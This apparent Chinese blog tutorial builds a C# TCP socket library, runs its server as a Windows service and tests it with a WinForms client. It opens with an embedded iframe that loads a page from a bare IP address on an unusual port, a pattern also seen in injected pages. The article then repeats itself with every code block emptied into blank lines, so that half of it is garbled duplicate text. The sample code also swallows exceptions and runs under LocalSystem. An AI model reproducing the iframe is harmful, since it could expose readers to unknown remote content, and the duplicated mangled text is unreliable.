<iframe align="center" marginwidth="0" marginheight="0" src="http://218.16.120.35:65001/PC/Global/images/b.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>
今天被迫要做一个接收通信的模块,以前从来都没有做过关于通信方面的东西,就像没有做过有关GIS方面的程序一样是头一次开发此类程序。
这个Socket通信说是自己的其实完全不是(如果哪位高人见到此程序是您本人开发的千万不要介意,本人也是在网上搜索出的,这个程序真的很不错,值得推广哦!在此谢谢发布此Socket通信程序的高人)。
此程序的大部分源码没有任何改动,只是原来的Server端是用C/S程序写的,为了能使Socket通信的Server端更灵活,在此将其改成一个Windows服务,因此也需要改动了一些Server端的代码和工程,但是基础类和Client端都没有改变。
对于我本人来说,Windows服务和Socket通信本人都不是很了解,只是经过了昨天简单的学习和研究才完成了此Windows服务Server端Socket通信程序,所以也说不出太多的门道,如果有清楚这方面知识的博友还希望能多多交流。好了,废话少说,开始正题了。
现在开始我们来讲解,如何一步一步地完成Windows服务Server端Socket通信程序。
我个人认为Windows服务只是包裹在Socket通信程序外的“一件外套”,所以核心还是我在网上找到的这个Socket程序,为此我们的第一步应该先开发出此Socket程序的类库。
1、打开Visual Studio.Net2003,单击菜单中的“文件”——>“新建”——>“项目”,在弹出的对话框左侧选择“Visual C#项目”,在右侧选择“类库”,下方的名称中输入“SocketLibrary”,位置自己随便选择一个路径。
2、删除自动创建的Class1.cs,新建如下的类名文件“Client.cs”、“Connection.cs”、“ConnectionCollection.cs”、“Message.cs”、“MessageCollection.cs”、“Server.cs”、“SocketBase.cs”和“SocketFactory.cs”。
3、各个类文件的代码如下:
(1)、Client.cs文件中的代码:
Client.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;
usingSystem.Net;
usingSystem.Net.Sockets;

namespaceSocketLibrary


{

publicclassClient:SocketBase


{
publicconstintCONNECTTIMEOUT=10;
publicClient()


{

}

publicConnectionStartClient(IPAddressipaddress,intport)
{
TcpClientclient=newTcpClient();
client.SendTimeout=CONNECTTIMEOUT;
client.ReceiveTimeout=CONNECTTIMEOUT;

client.Connect(ipaddress,port);

this._connections.Add(newConnection(client.GetStream()));
this.StartListenAndSend();
returnnewConnection(client.GetStream());
}

publicvoidStopClient()
{


this.EndListenAndSend();
}
}
}
(2)、Connection.cs文件中的代码:
Connection.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;
usingSystem.Net;
usingSystem.Net.Sockets;

namespaceSocketLibrary


{

/**////<summary>
///Connection的摘要说明。
///</summary>
publicclassConnection


{

publicNetworkStreamNetworkStream
{

get
{return_networkStream;}

set
{_networkStream=value;}
}
privateNetworkStream_networkStream;

publicstringConnectionName
{

get
{return_connectionName;}

set
{_connectionName=value;}
}
privatestring_connectionName;
publicConnection(NetworkStreamnetworkStream,stringconnectionName)


{
this._networkStream=networkStream;
this._connectionName=connectionName;
}

publicConnection(NetworkStreamnetworkStream):this(networkStream,string.Empty)
{
}
}
}
(3)、ConnectionCollection.cs文件中的代码:
ConnectionCollection.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;


namespaceSocketLibrary
{

publicclassConnectionCollection:System.Collections.CollectionBase
{

publicConnectionCollection()
{

}

publicvoidAdd(Connectionvalue)
{
List.Add(value);
}

publicConnectionthis[intindex]
{

get
{
returnList[index]asConnection;
}

set
{
List[index]=value;
}
}

publicConnectionthis[stringconnectionName]
{

get
{

foreach(ConnectionconnectioninList)
{
if(connection.ConnectionName==connectionName)
returnconnection;
}
returnnull;
}
}
}
}
(4)、Message.cs文件中的代码:
Message.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;

namespaceSocketLibrary


{
publicclassMessage


{

publicenumCommandHeader:byte
{
SendMessage=1
}
publicConnectionSendToOrReceivedFrom;
publicintMessageLength;
publicCommandHeaderCommand;
publicbyteMainVersion;
publicbyteSecondVersion;

publicstringMessageBody;

publicboolSent;

publicMessage()


{
SendToOrReceivedFrom=null;
Sent=false;
}

publicMessage(CommandHeadercommand,bytemainVersion,bytesecondVersion,stringmessageBody):this()
{
this.Command=command;
this.MainVersion=mainVersion;
this.SecondVersion=secondVersion;
this.MessageBody=messageBody;
}

publicbyte[]ToBytes()
{
this.MessageLength=7+SocketFactory.DefaultEncoding.GetByteCount(this.MessageBody);//计算消息总长度。消息头长度为7加上消息体的长度。
byte[]buffer=newbyte[this.MessageLength];
//先将长度的4个字节写入到数组中。
BitConverter.GetBytes(this.MessageLength).CopyTo(buffer,0);
//将CommandHeader写入到数组中
buffer[4]=(byte)this.Command;
//将主版本号写入到数组中
buffer[5]=(byte)this.MainVersion;
//将次版本号写入到数组中
buffer[6]=(byte)this.SecondVersion;

//消息头已写完,现在写消息体。
byte[]body=newbyte[this.MessageLength-7];
SocketFactory.DefaultEncoding.GetBytes(this.MessageBody).CopyTo(buffer,7);
returnbuffer;
}

publicstaticMessageParse(Connectionconnection)
{
Messagemessage=newMessage();
//先读出前四个字节,即Message长度
byte[]buffer=newbyte[4];

if(connection.NetworkStream.DataAvailable)
{
intcount=connection.NetworkStream.Read(buffer,0,4);

if(count==4)
{
message.MessageLength=BitConverter.ToInt32(buffer,0);
}
else
thrownewException("网络流长度不正确");
}
else
thrownewException("目前网络不可读");
//读出消息的其它字节
buffer=newbyte[message.MessageLength-4];

if(connection.NetworkStream.DataAvailable)
{
intcount=connection.NetworkStream.Read(buffer,0,buffer.Length);

if(count==message.MessageLength-4)
{
message.Command=(CommandHeader)buffer[0];
message.MainVersion=buffer[1];
message.SecondVersion=buffer[2];

//读出消息体
message.MessageBody=SocketFactory.DefaultEncoding.GetString(buffer,3,buffer.Length-3);
message.SendToOrReceivedFrom=connection;

returnmessage;
}
else
thrownewException("网络流长度不正确");
}
else
thrownewException("目前网络不可读");
}

}
}
(5)、MessageCollection.cs文件中的代码:
MessageCollection.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;

namespaceSocketLibrary


{
publicclassMessageCollection:System.Collections.CollectionBase


{
publicMessageCollection()


{

}

publicvoidAdd(Messagevalue)
{
List.Add(value);
}

publicMessagethis[intindex]
{

get
{
returnList[index]asMessage;
}

set
{
List[index]=value;
}
}

publicMessageCollectionthis[Connectionconnection]
{

get
{
MessageCollectioncollection=newMessageCollection();

foreach(MessagemessageinList)
{
if(message.SendToOrReceivedFrom==connection)
collection.Add(message);
}
returncollection;
}
}
}
}
(6)、Server.cs文件中的代码:
Server.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;
usingSystem.Net;
usingSystem.Net.Sockets;

namespaceSocketLibrary


{
publicclassServer:SocketBase


{


privateTcpListener_listener;
publicServer()


{
this._connections=newConnectionCollection();
}
protectedSystem.Threading.Thread_listenConnection;


publicvoidStartServer(intport)
{
_listener=newTcpListener(IPAddress.Any,port);
_listener.Start();

_listenConnection=newSystem.Threading.Thread(newSystem.Threading.ThreadStart(Start));
_listenConnection.Start();

this.StartListenAndSend();
}

publicvoidStopServer()
{
_listenConnection.Abort();
this.EndListenAndSend();

}

privatevoidStart()
{

try
{

while(true)
{

if(_listener.Pending())
{
TcpClientclient=_listener.AcceptTcpClient();
NetworkStreamstream=client.GetStream();
Connectionconnection=newConnection(stream);
this._connections.Add(connection);
this.OnConnected(this,newConnectionEventArgs(connection,newException("连接成功")));
}
System.Threading.Thread.Sleep(200);
}
}

catch
{
}
}

}
}
(7)、SocketBase.cs文件中的代码:
SocketBase.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;

namespaceSocketLibrary


{

/**////<summary>
///SocketBase的摘要说明。
///</summary>
publicclassSocketBase


{

publicclassMessageEventArgs:EventArgs
{
publicMessageMessage;
publicConnectionConnecction;

publicMessageEventArgs(Messagemessage,Connectionconnection)
{
this.Message=message;
this.Connecction=connection;
}
}
publicdelegatevoidMessageEventHandler(objectsender,MessageEventArgse);


publicclassConnectionEventArgs:EventArgs
{
publicConnectionConnection;
publicExceptionException;

publicConnectionEventArgs(Connectionconnection,Exceptionexception)
{
this.Connection=connection;
this.Exception=exception;
}
}
publicdelegatevoidConnectionHandler(objectsender,ConnectionEventArgse);


publicConnectionCollectionConnections
{

get
{return_connections;}

set
{_connections=value;}
}
protectedConnectionCollection_connections;


publicMessageCollectionmessageQueue
{

get
{return_messageQueue;}

set
{_messageQueue=value;}
}
protectedMessageCollection_messageQueue;

publicSocketBase()


{
this._connections=newConnectionCollection();
this._messageQueue=newMessageCollection();
}

protectedvoidSend(Messagemessage)
{
this.Send(message,message.SendToOrReceivedFrom);
}

protectedvoidSend(Messagemessage,Connectionconnection)
{
byte[]buffer=message.ToBytes();

lock(this)
{
connection.NetworkStream.Write(buffer,0,buffer.Length);
}
}

protectedSystem.Threading.Thread_listenningthread;
protectedSystem.Threading.Thread_sendthread;

protectedvirtualvoidSendding()
{

try
{

while(true)
{
System.Threading.Thread.Sleep(200);

for(inti=0;i<this.messageQueue.Count;i++)
{

if(this.messageQueue[i].SendToOrReceivedFrom!=null)
{
this.Send(this.messageQueue[i]);
this.OnMessageSent(this,newMessageEventArgs(this.messageQueue[i],this.messageQueue[i].SendToOrReceivedFrom));
}

else
{//对每一个连接都发送此消息

for(intj=0;j<this.Connections.Count;j++)
{
this.Send(this.messageQueue[i],this.Connections[j]);
this.OnMessageSent(this,newMessageEventArgs(this.messageQueue[i],this.Connections[j]));
}
}
this.messageQueue[i].Sent=true;
}
//清除所有已发送消息

for(inti=this.messageQueue.Count-1;i>-1;i--)
{
if(this.messageQueue[i].Sent)
this.messageQueue.RemoveAt(i);
}
}

}catch
{
}
}

protectedvirtualvoidListenning()
{

try
{

while(true)
{
System.Threading.Thread.Sleep(200);

foreach(Connectionconnectioninthis._connections)
{

if(connection.NetworkStream.CanRead&&connection.NetworkStream.DataAvailable)
{

try
{
Messagemessage=Message.Parse(connection);
this.OnMessageReceived(this,newMessageEventArgs(message,connection));
}

catch(Exceptionex)
{
connection.NetworkStream.Close();
this.OnConnectionClose(this,newConnectionEventArgs(connection,ex));
}
}
}
}
}

catch
{
}
}


protectedvoidStartListenAndSend()
{
_listenningthread=newSystem.Threading.Thread(newSystem.Threading.ThreadStart(Listenning));
_listenningthread.Start();
_sendthread=newSystem.Threading.Thread(newSystem.Threading.ThreadStart(Sendding));
_sendthread.Start();
}

publicvoidEndListenAndSend()
{
_listenningthread.Abort();
_sendthread.Abort();
}



publiceventMessageEventHandlerMessageReceived;
publiceventMessageEventHandlerMessageSent;
publiceventConnectionHandlerConnectionClose;
publiceventConnectionHandlerConnected;


publicvoidOnMessageReceived(objectsender,MessageEventArgse)
{
if(MessageReceived!=null)
this.MessageReceived(sender,e);
}

publicvoidOnMessageSent(objectsender,MessageEventArgse)
{
if(MessageSent!=null)
this.MessageSent(sender,e);
}

publicvoidOnConnectionClose(objectsender,ConnectionEventArgse)
{
if(ConnectionClose!=null)
this.ConnectionClose(sender,e);
}

publicvoidOnConnected(objectsender,ConnectionEventArgse)
{
if(Connected!=null)
this.Connected(sender,e);
}
}
}
(8)、SocketFactory.cs文件中的代码:
SocketFactory.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;
usingSystem.Net;
usingSystem.Net.Sockets;


namespaceSocketLibrary
{

/**////<summary>
///网络通信组件
///</summary>

publicclassSocketFactory
{
publicstaticSystem.Text.EncodingDefaultEncoding=System.Text.Encoding.GetEncoding("GB2312");
}
}
4、将文件和代码建立和粘贴完成后,运行此类库,会在程序所在路径文件夹里的“bin/Debug/”下找到“SocketLibrary.dll”文件,下面开发的Windows服务就需要引用这个dll文件。
第二步再来开发出Windows服务。
1、打开Visual Studio.Net2003,单击菜单中的“文件”——>“新建”——>“项目”,在弹出的对话框左侧选择“Visual C#项目”,在右侧选择“Windows服务”,下方的名称中输入“SocketService”,位置自己随便选择一个路径。
2、删除自动创建的服务文件,新建如下的Windows服务文件“SocketService.cs”。
3、在SocketService.cs文件的设计界面,选择开发环境右侧的“属性”页卡,会在页卡底部发现“添加安装程序(I)”,单击此处后会在解决方案的SocketService工程下多一个服务文件“ProjectInstaller.cs”。
4、在ProjectInstaller.cs文件的设计界面,会看见两个组件“serviceProcessInstaller1”和“serviceInstaller1”。将serviceProcessInstaller1组件的Account属性设置为“LocalSystem”(表示本地系统服务,NetworkService表示网络服务,LocalService表示本地服务,User表示用户服务);再将serviceInstaller1组件的StartType属性设置为“Automatic”(表示服务自动启动,Manual表示手动启动,Disabled表示禁用)。
5、右击解决方案中的“引用”,选择添加引用,在弹出的对话框中选择“浏览”,将前面的“SocketLibrary.dll”添加到此引用。
6、在系统C盘下建立两个文件“SocketService.ini”和“SocketService.log”。SocketService.ini文件是配置SocketService监听的端口号,打开该ini文件在其中编辑下面的内容“端口号:8088”(双引号请不要输入在ini文件的内容里),而SocketService.log是为了记录有关信息的日志。
7、删除SocketService.cs文件的所有代码,将下面的代码拷贝到该文件中:
SocketService.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;
usingSystem.Collections;
usingSystem.ComponentModel;
usingSystem.Data;
usingSystem.Diagnostics;
usingSystem.ServiceProcess;
usingSystem.IO;
usingSocketLibrary;

namespaceSocketService


{
publicclassSocketService:System.ServiceProcess.ServiceBase


{

/**////<summary>
///必需的设计器变量。
///</summary>
privateSystem.ComponentModel.Containercomponents=null;

publicSocketService()


{
//该调用是Windows.Forms组件设计器所必需的。
InitializeComponent();

//TODO:在InitComponent调用后添加任何初始化
}


组件设计器生成的代码#region组件设计器生成的代码

/**////<summary>
///设计器支持所需的方法-不要使用代码编辑器
///修改此方法的内容。
///</summary>
privatevoidInitializeComponent()


{
//
//SocketService
//
this.ServiceName="SocketService";

}
#endregion


/**////<summary>
///清理所有正在使用的资源。
///</summary>
protectedoverridevoidDispose(booldisposing)


{
if(disposing)


{
if(components!=null)


{
components.Dispose();
}
}
base.Dispose(disposing);
}


/**////<summary>
///应用程序的主入口点。
///</summary>
[STAThread]
staticvoidMain()


{
System.ServiceProcess.ServiceBase.Run(newSocketService());
}

SocketLibrary.Server_server=newSocketLibrary.Server();


/**////<summary>
///设置具体的操作,以便服务可以执行它的工作。
///</summary>
protectedoverridevoidOnStart(string[]args)


{
//TODO:在此处添加代码以启动服务。
try


{
StreamReaderConfigReader=newStreamReader("C://SocketService.ini",System.Text.Encoding.GetEncoding("GB2312"));
stringstr=ConfigReader.ReadToEnd();
string[]Str=str.Split(':');
if(Str.Length==2)


{
if(Str[0]=="端口号")


{

_server.StartServer(Convert.ToInt32(Str[1]));
StreamWriterLogWriter=newStreamWriter("C://SocketService.log",true,System.Text.Encoding.GetEncoding("GB2312"));
LogWriter.Write(DateTime.Now.ToLongDateString()+""+DateTime.Now.ToShortTimeString()+"SocketService服务已启动/n");
LogWriter.Close();
_server.MessageReceived+=newSocketLibrary.SocketBase.MessageEventHandler(_server_MessageReceived);
_server.Connected+=newSocketLibrary.SocketBase.ConnectionHandler(_server_Connected);
}
else


{
StreamWriterLogWriter=newStreamWriter("C://SocketService.log",true,System.Text.Encoding.GetEncoding("GB2312"));
LogWriter.Write(DateTime.Now.ToLongDateString()+""+DateTime.Now.ToShortTimeString()+"SocketService.ini文件中无端口号属性,格式应为/"端口号:[输入的端口号]/"/n");
LogWriter.Close();
OnStop();
}
}
else


{
StreamWriterLogWriter=newStreamWriter("C://SocketService.log",true,System.Text.Encoding.GetEncoding("GB2312"));
LogWriter.Write(DateTime.Now.ToLongDateString()+""+DateTime.Now.ToShortTimeString()+"SocketService.ini文件中属性过多,格式应为/"端口号:[输入的端口号]/"/n");
LogWriter.Close();
OnStop();
}
}
catch(Exceptione)


{
StreamWriterLogWriter=newStreamWriter("C://SocketService.log",true,System.Text.Encoding.GetEncoding("GB2312"));
LogWriter.Write(DateTime.Now.ToLongDateString()+""+DateTime.Now.ToShortTimeString()+"SocketService服务启动时有错误,错误信息:"+e.Message+"/n");
LogWriter.Close();
OnStop();
}

}


/**////<summary>
///停止此服务。
///</summary>
protectedoverridevoidOnStop()


{
//TODO:在此处添加代码以执行停止服务所需的关闭操作。
_server.StopServer();
StreamWriterLogWriter=newStreamWriter("C://SocketService.log",true,System.Text.Encoding.GetEncoding("GB2312"));
LogWriter.Write(DateTime.Now.ToLongDateString()+""+DateTime.Now.ToShortTimeString()+"SocketService服务已停止/n");
LogWriter.Close();
}

privatevoid_server_MessageReceived(objectsender,SocketLibrary.SocketBase.MessageEventArgse)


{
StreamWriterLogWriter=newStreamWriter("C://SocketService.log",true,System.Text.Encoding.GetEncoding("GB2312"));
LogWriter.Write(DateTime.Now.ToLongDateString()+""+DateTime.Now.ToShortTimeString()+""+e.Message.MessageBody+"/n");
LogWriter.Close();
}
privatevoid_server_Connected(objectsender,SocketLibrary.SocketBase.ConnectionEventArgse)


{
StreamWriterLogWriter=newStreamWriter("C://SocketService.log",true,System.Text.Encoding.GetEncoding("GB2312"));
LogWriter.Write(DateTime.Now.ToLongDateString()+""+DateTime.Now.ToShortTimeString()+""+e.Exception.Message+"/n");
LogWriter.Close();
}
}
}
8、在Visual Studio.Net2003的菜单上选择“生成”——>“重新生成解决方案”,当生成成功后,会在程序所在路径文件夹里的“bin/Debug/”下找到“SocketService.exe”文件,记住这个路径和文件名,下一步需要用到。
9、打开“Visual Studio .NET 2003 命令提示”(应该都知道如何打开吧,不知道的可以在评论中询问)。在其中输入“installutil [第8步中的路径和文件名]”(例如:installutil C:/SocketService/bin/Debug/SocketService.exe),按下回车,将会在本机上安装刚开发好的Windows服务,如果要卸载安装过的Windows服务请在“Visual Studio .NET 2003 命令提示”中输入“installutil /u[第8步中的路径和文件名]”(例如:installutil /uC:/SocketService/bin/Debug/SocketService.exe)。
10、制作Windows服务的安装部署工程(略)。
第三步最后开发出一个Socket通信的客户端来验证此服务。
1、和以往建立C/S程序的过程一样,只是将工程名称改为“SocketClientTest”。
2、删除自动创建的Form1,新建窗体“CFrom”。
3、窗体控件与布局见下图:
4、在引用中添加“SocketLibrary.dll”引用(添加方法和SocketService工程添加方法相同)
5、后台代码如下:
CForm.cs文件代码
<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->
usingSystem;
usingSystem.Drawing;
usingSystem.Collections;
usingSystem.ComponentModel;
usingSystem.Windows.Forms;
usingSystem.Data;

namespaceSocketClientTest


{

/**////<summary>
///Form1的摘要说明。
///</summary>
publicclassCForm:System.Windows.Forms.Form


{

/**////<summary>
///必需的设计器变量。
///</summary>
privateSystem.ComponentModel.Containercomponents=null;

publicCForm()


{
//
//Windows窗体设计器支持所必需的
//
InitializeComponent();

//
//TODO:在InitializeComponent调用后添加任何构造函数代码
//
}


/**////<summary>
///清理所有正在使用的资源。
///</summary>
protectedoverridevoidDispose(booldisposing)


{
if(disposing)


{
if(components!=null)


{
components.Dispose();
}
}
base.Dispose(disposing);
}


Windows窗体设计器生成的代码#regionWindows窗体设计器生成的代码

/**////<summary>
///设计器支持所需的方法-不要使用代码编辑器修改
///此方法的内容。
///</summary>
privatevoidInitializeComponent()


{
this.button1=newSystem.Windows.Forms.Button();
this.textBox1=newSystem.Windows.Forms.TextBox();
this.button2=newSystem.Windows.Forms.Button();
this.button3=newSystem.Windows.Forms.Button();
this.SuspendLayout();
//
//button1
//
this.button1.Location=newSystem.Drawing.Point(40,24);
this.button1.Name="button1";
this.button1.TabIndex=0;
this.button1.Text="连接";
this.button1.Click+=newSystem.EventHandler(this.button1_Click);
//
//textBox1
//
this.textBox1.Location=newSystem.Drawing.Point(24,80);
this.textBox1.Name="textBox1";
this.textBox1.TabIndex=1;
this.textBox1.Text="textBox1";
//
//button2
//
this.button2.Location=newSystem.Drawing.Point(144,80);
this.button2.Name="button2";
this.button2.TabIndex=2;
this.button2.Text="发送";
this.button2.Click+=newSystem.EventHandler(this.button2_Click);
//
//button3
//
this.button3.Location=newSystem.Drawing.Point(144,24);
this.button3.Name="button3";
this.button3.TabIndex=3;
this.button3.Text="停止";
this.button3.Click+=newSystem.EventHandler(this.button3_Click);
//
//Form1
//
this.AutoScaleBaseSize=newSystem.Drawing.Size(6,14);
this.ClientSize=newSystem.Drawing.Size(292,126);
this.Controls.Add(this.button3);
this.Controls.Add(this.button2);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.button1);
this.Name="CForm";
this.Text="CForm";
this.Load+=newSystem.EventHandler(this.CForm_Load);
this.ResumeLayout(false);

}
#endregion


/**////<summary>
///应用程序的主入口点。
///</summary>
[STAThread]
staticvoidMain()


{
Application.Run(newCForm());
}

privateSystem.Windows.Forms.Buttonbutton1;
privateSystem.Windows.Forms.TextBoxtextBox1;
privateSystem.Windows.Forms.Buttonbutton2;
privateSystem.Windows.Forms.Buttonbutton3;
SocketLibrary.Clientclient;
privatevoidCForm_Load(objectsender,System.EventArgse)


{
client=newSocketLibrary.Client();

SocketLibrary.SocketFactoryfactory=newSocketLibrary.SocketFactory();
}


privatevoidbutton1_Click(objectsender,System.EventArgse)
{
client.StartClient(System.Net.IPAddress.Parse("192.168.5.9"),8088);//此处输入自己的计算机IP地址,端口需和SocketService.ini中的端口号一样
}


privatevoidbutton2_Click(objectsender,System.EventArgse)
{
SocketLibrary.Messagemessage=newSocketLibrary.Message(SocketLibrary.Message.CommandHeader.SendMessage,1,1,textBox1.Text);
client.messageQueue.Add(message);
}


privatevoidbutton3_Click(objectsender,System.EventArgse)
{
client.StopClient();
}
}
}
6、运行程序,点击CForm中的“连接”按钮,再在TextBox1中输入部分信息,单击“发送”按钮,看看在C:/SocketService.log中是否记录了CForm窗口中TextBox1中的内容。
到此我们就已经将这个Socket通信Server端的Winodows服务开发完成了。下面提供源程序的下载:
本地下载 SocketLibrary类库源码
本地下载 Server端Socket通信Windows服务源码
本地下载 SocketClientTest源码
本地下载 SocketServerTest源码(没有改变为Windows服务时的程序,即下载时的原程序)
以上程序已在在Visual Studio.Net2003下运行通过。
备注:下面有本人的两个评论来修正本随笔中的代码存在的一些问题,请仔细浏览,谢谢合作……
今天被迫要做一个接收通信的模块,以前从来都没有做过关于通信方面的东西,就像没有做过有关GIS方面的程序一样是头一次开发此类程序。
这个Socket通信说是自己的其实完全不是(如果哪位高人见到此程序是您本人开发的千万不要介意,本人也是在网上搜索出的,这个程序真的很不错,值得推广哦!在此谢谢发布此Socket通信程序的高人)。
此程序的大部分源码没有任何改动,只是原来的Server端是用C/S程序写的,为了能使Socket通信的Server端更灵活,在此将其改成一个Windows服务,因此也需要改动了一些Server端的代码和工程,但是基础类和Client端都没有改变。
对于我本人来说,Windows服务和Socket通信本人都不是很了解,只是经过了昨天简单的学习和研究才完成了此Windows服务Server端Socket通信程序,所以也说不出太多的门道,如果有清楚这方面知识的博友还希望能多多交流。好了,废话少说,开始正题了。
现在开始我们来讲解,如何一步一步地完成Windows服务Server端Socket通信程序。
我个人认为Windows服务只是包裹在Socket通信程序外的“一件外套”,所以核心还是我在网上找到的这个Socket程序,为此我们的第一步应该先开发出此Socket程序的类库。
1、打开Visual Studio.Net2003,单击菜单中的“文件”——>“新建”——>“项目”,在弹出的对话框左侧选择“Visual C#项目”,在右侧选择“类库”,下方的名称中输入“SocketLibrary”,位置自己随便选择一个路径。
2、删除自动创建的Class1.cs,新建如下的类名文件“Client.cs”、“Connection.cs”、“ConnectionCollection.cs”、“Message.cs”、“MessageCollection.cs”、“Server.cs”、“SocketBase.cs”和“SocketFactory.cs”。
3、各个类文件的代码如下:
(1)、Client.cs文件中的代码:


<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->












































<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->





















































<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->



















































<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->













































































































<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->























































<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->









































































<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->































































































































































































































<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->

















第二步再来开发出Windows服务。
1、打开Visual Studio.Net2003,单击菜单中的“文件”——>“新建”——>“项目”,在弹出的对话框左侧选择“Visual C#项目”,在右侧选择“Windows服务”,下方的名称中输入“SocketService”,位置自己随便选择一个路径。
2、删除自动创建的服务文件,新建如下的Windows服务文件“SocketService.cs”。
3、在SocketService.cs文件的设计界面,选择开发环境右侧的“属性”页卡,会在页卡底部发现“添加安装程序(I)”,单击此处后会在解决方案的SocketService工程下多一个服务文件“ProjectInstaller.cs”。
4、在ProjectInstaller.cs文件的设计界面,会看见两个组件“serviceProcessInstaller1”和“serviceInstaller1”。将serviceProcessInstaller1组件的Account属性设置为“LocalSystem”(表示本地系统服务,NetworkService表示网络服务,LocalService表示本地服务,User表示用户服务);再将serviceInstaller1组件的StartType属性设置为“Automatic”(表示服务自动启动,Manual表示手动启动,Disabled表示禁用)。
5、右击解决方案中的“引用”,选择添加引用,在弹出的对话框中选择“浏览”,将前面的“SocketLibrary.dll”添加到此引用。
6、在系统C盘下建立两个文件“SocketService.ini”和“SocketService.log”。SocketService.ini文件是配置SocketService监听的端口号,打开该ini文件在其中编辑下面的内容“端口号:8088”(双引号请不要输入在ini文件的内容里),而SocketService.log是为了记录有关信息的日志。
7、删除SocketService.cs文件的所有代码,将下面的代码拷贝到该文件中:


<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->

























































































































































































9、打开“Visual Studio .NET 2003 命令提示”(应该都知道如何打开吧,不知道的可以在评论中询问)。在其中输入“installutil [第8步中的路径和文件名]”(例如:installutil C:/SocketService/bin/Debug/SocketService.exe),按下回车,将会在本机上安装刚开发好的Windows服务,如果要卸载安装过的Windows服务请在“Visual Studio .NET 2003 命令提示”中输入“installutil /u[第8步中的路径和文件名]”(例如:installutil /uC:/SocketService/bin/Debug/SocketService.exe)。
10、制作Windows服务的安装部署工程(略)。
第三步最后开发出一个Socket通信的客户端来验证此服务。
1、和以往建立C/S程序的过程一样,只是将工程名称改为“SocketClientTest”。
2、删除自动创建的Form1,新建窗体“CFrom”。
3、窗体控件与布局见下图:

4、在引用中添加“SocketLibrary.dll”引用(添加方法和SocketService工程添加方法相同)
5、后台代码如下:


<!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>-->











































































































































































到此我们就已经将这个Socket通信Server端的Winodows服务开发完成了。下面提供源程序的下载:
本地下载 SocketLibrary类库源码
本地下载 Server端Socket通信Windows服务源码
本地下载 SocketClientTest源码
本地下载 SocketServerTest源码(没有改变为Windows服务时的程序,即下载时的原程序)
以上程序已在在Visual Studio.Net2003下运行通过。
备注:下面有本人的两个评论来修正本随笔中的代码存在的一些问题,请仔细浏览,谢谢合作……